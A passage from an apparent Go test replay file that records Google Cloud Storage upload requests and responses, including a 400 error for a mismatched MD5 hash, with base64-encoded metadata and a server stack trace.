UkMzMkMgXCJjSCtBL0E9PVwiIGRvZXNuJ3QgbWF0Y2ggY2FsY3VsYXRlZCBDUkMzMkMgXCJjSCtBK3c9PVwiLiJ9fQ==" - } - }, - { - "ID": "5a293e6162b30ef3", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoiaGFzaGVzT25VcGxvYWQtMSJ9Cg==", - "SSBjYW4ndCB3YWl0IHRvIGJlIHZlcmlmaWVk" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3321" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:44 GMT" - ], - "Etag": [ - "CJuDg8/x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqgpXYBQOYHYXTQAVb7IGna0BRqHaB7oBdZ19frcgAVGErLbEHe3bESKZ7zKSO6r0AtvqwfCEuJty95EeD5MkwqIsXbr88YcTG0j7M-g4yTKkejukI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9oYXNoZXNPblVwbG9hZC0xLzE1NTY4MzU4ODQ2NDY4MTEiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9oYXNoZXNPblVwbG9hZC0xIiwibmFtZSI6Imhhc2hlc09uVXBsb2FkLTEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NDY0NjgxMSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0NC42NDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDQuNjQ2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQ0LjY0NloiLCJzaXplIjoiMjciLCJtZDVIYXNoIjoib2ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2hhc2hlc09uVXBsb2FkLTE/Z2VuZXJhdGlvbj0xNTU2ODM1ODg0NjQ2ODExJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NDY0NjgxMS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9oYXNoZXNPblVwbG9hZC0xL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJoYXNoZXNPblVwbG9hZC0xIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODQ2NDY4MTEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0p1RGc4L3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NDY0NjgxMS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vaGFzaGVzT25VcGxvYWQtMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Imhhc2hlc09uVXBsb2FkLTEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NDY0NjgxMSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNKdURnOC94L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9oYXNoZXNPblVwbG9hZC0xLzE1NTY4MzU4ODQ2NDY4MTEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2hhc2hlc09uVXBsb2FkLTEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJoYXNoZXNPblVwbG9hZC0xIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODQ2NDY4MTEiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0p1RGc4L3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NDY0NjgxMS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vaGFzaGVzT25VcGxvYWQtMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Imhhc2hlc09uVXBsb2FkLTEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NDY0NjgxMSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNKdURnOC94L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiY0grQSt3PT0iLCJldGFnIjoiQ0p1RGc4L3gvZUVDRUFFPSJ9" - } - }, - { - "ID": "19f19648f1196c10", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJtZDVIYXNoIjoib2ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09IiwibmFtZSI6Imhhc2hlc09uVXBsb2FkLTEifQo=", - "SSBjYW4ndCB3YWl0IHRvIGJlIHZlcmlmaWVk" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3321" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:45 GMT" - ], - "Etag": [ - "CKDem8/x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqAmKuvPxUsjTHDB5nMuNG92dU0gql0Yol2zlvPDWEDuXHQRLhOJzYBAH207Ot-_IB22pH5QSfTaTayqEWBUfkobCR9YGVa79W0LG4fv9fnAjxk5Cs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9oYXNoZXNPblVwbG9hZC0xLzE1NTY4MzU4ODUwNTE2ODAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9oYXNoZXNPblVwbG9hZC0xIiwibmFtZSI6Imhhc2hlc09uVXBsb2FkLTEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NTA1MTY4MCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0NS4wNTFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDUuMDUxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQ1LjA1MVoiLCJzaXplIjoiMjciLCJtZDVIYXNoIjoib2ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2hhc2hlc09uVXBsb2FkLTE/Z2VuZXJhdGlvbj0xNTU2ODM1ODg1MDUxNjgwJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NTA1MTY4MC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9oYXNoZXNPblVwbG9hZC0xL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJoYXNoZXNPblVwbG9hZC0xIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODUwNTE2ODAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0tEZW04L3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NTA1MTY4MC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vaGFzaGVzT25VcGxvYWQtMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Imhhc2hlc09uVXBsb2FkLTEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NTA1MTY4MCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNLRGVtOC94L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9oYXNoZXNPblVwbG9hZC0xLzE1NTY4MzU4ODUwNTE2ODAvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2hhc2hlc09uVXBsb2FkLTEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJoYXNoZXNPblVwbG9hZC0xIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODUwNTE2ODAiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0tEZW04L3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NTA1MTY4MC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vaGFzaGVzT25VcGxvYWQtMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Imhhc2hlc09uVXBsb2FkLTEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NTA1MTY4MCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNLRGVtOC94L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiY0grQSt3PT0iLCJldGFnIjoiQ0tEZW04L3gvZUVDRUFFPSJ9" - } - }, - { - "ID": "880416f9891fc25f", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJtZDVIYXNoIjoib3ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09IiwibmFtZSI6Imhhc2hlc09uVXBsb2FkLTEifQo=", - "SSBjYW4ndCB3YWl0IHRvIGJlIHZlcmlmaWVk" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "3515" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:45 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoFC5_DRlr9xktR_eWpfuFqiZRbenVOATtUEg3tfJC8JbCqagKQzn0_sYLvxvG52ordbl2Nwo0L6Y0AbwuenLAo1uoX4uzHnro-JiY8MkdQEsO3uSA" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImludmFsaWQiLCJtZXNzYWdlIjoiUHJvdmlkZWQgTUQ1IGhhc2ggXCJvdlpqR2xjWFBKaUdPQWZLRmJKbDFRPT1cIiBkb2Vzbid0IG1hdGNoIGNhbGN1bGF0ZWQgTUQ1IGhhc2ggXCJvZlpqR2xjWFBKaUdPQWZLRmJKbDFRPT1cIi4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9SU5WQUxJRF9WQUxVRSwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPW51bGwsIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5JTlZBTElEX1ZBTFVFLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1udWxsLCBlcnJvclByb3RvQ29kZT1JTlZBTElEX1ZBTFVFLCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZS5tZDVfaGFzaF9iYXNlNjQsIG1lc3NhZ2U9UHJvdmlkZWQgTUQ1IGhhc2ggXCJvdlpqR2xjWFBKaUdPQWZLRmJKbDFRPT1cIiBkb2Vzbid0IG1hdGNoIGNhbGN1bGF0ZWQgTUQ1IGhhc2ggXCJvZlpqR2xjWFBKaUdPQWZLRmJKbDFRPT1cIi4sIHVubmFtZWRBcmd1bWVudHM9W292WmpHbGNYUEppR09BZktGYkpsMVE9PV19LCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2UubWQ1X2hhc2hfYmFzZTY0LCBtZXNzYWdlPVByb3ZpZGVkIE1ENSBoYXNoIFwib3ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09XCIgZG9lc24ndCBtYXRjaCBjYWxjdWxhdGVkIE1ENSBoYXNoIFwib2ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09XCIuLCByZWFzb249aW52YWxpZCwgcnBjQ29kZT00MDB9IFByb3ZpZGVkIE1ENSBoYXNoIFwib3ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09XCIgZG9lc24ndCBtYXRjaCBjYWxjdWxhdGVkIE1ENSBoYXNoIFwib2ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09XCIuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkl